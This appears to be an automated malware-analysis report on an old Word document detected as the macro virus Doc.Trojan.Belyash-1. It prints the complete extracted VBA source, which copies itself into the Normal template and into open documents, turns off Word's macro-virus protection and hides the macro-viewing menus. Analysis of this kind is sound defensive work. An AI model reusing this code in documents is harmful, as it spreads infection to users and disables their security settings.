Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a51e5e065241d6b0…

MALICIOUS

Office (OLE)

30.0 KB Created: 1998-08-09 18:05:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 60690f8f53a6939e6a599debaf5735bf SHA-1: e3aa9517623942a45b2dea92a224455d00d479d1 SHA-256: a51e5e065241d6b0e1bde280e801f6781abe30d7506dd15377b71fddf7deeb45
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic macro virus markers and critical ClamAV detection for 'Doc.Trojan.Belyash-1', indicating malicious intent. The embedded VBA macros, specifically the AutoOpen and AutoClose subroutines, are designed to copy themselves and potentially execute a payload, suggesting a downloader or dropper functionality. The presence of AutoOpen and AutoClose macros strongly implies this file was delivered as a malicious attachment.

Heuristics 6

  • ClamAV: Doc.Trojan.Belyash-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Belyash-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2644 bytes
SHA-256: 0be395b96b5eb08ae62f059254b79f6426ebc4846ef1610d4fef9588a9bc1a14
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Manuela"
Sub AutoExit()
Application.EnableCancelKey = wdCancelDisabled
Wordbasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo Bye
   Call PayLoad
Bye:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
Wordbasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo Fin
iMacroCount = NormalTemplate.VbProject.VbComponent.Count
For i = 1 To iMacroCount
     If NormalTemplate.VbProject.VbComponent(i).Name = "Manuela" Then
              ManuelaInstalled = -1
     End If
Next i
If Not ManuelaInstalled Then
      Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Manuela", Object:=wdOrganizerObjectProjectItems
Else
     Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Manuela", Object:=wdOrganizerObjectProjectItems
End If
Fin:
End Sub
Sub AutoClose()
Application.EnableCancelKey = wdCancelDisabled
Wordbasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo Finish
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="Manuela", Object:=wdOrganizerObjectProjectItems
Finish:
End Sub
Sub FileTemplates()
Application.EnableCancelKey = wdCancelDisabled
Wordbasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFT
ErrorFT:
End Sub
Sub PayLoad()
Application.EnableCancelKey = wdCancelDisabled
Wordbasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorPL
Assistant.Visible = True
With Assistant.NewBalloon
     .Button = msoButtonSetOK
     .Heading = "Uuuuund ZACK! Hier bin ich!"
     .Text = "Ciao Manuela! II MMIISS YYOOUU!!"
.Show
End With
ErrorPL:
End Sub
Sub ToolsMacro()
Application.EnableCancelKey = wdCancelDisabled
Wordbasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorTM
ErrorTM:
End Sub
Sub ViewVBCode()
Application.EnableCancelKey = wdCancelDisabled
Wordbasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorVVBC
ErrorVVBC:
End Sub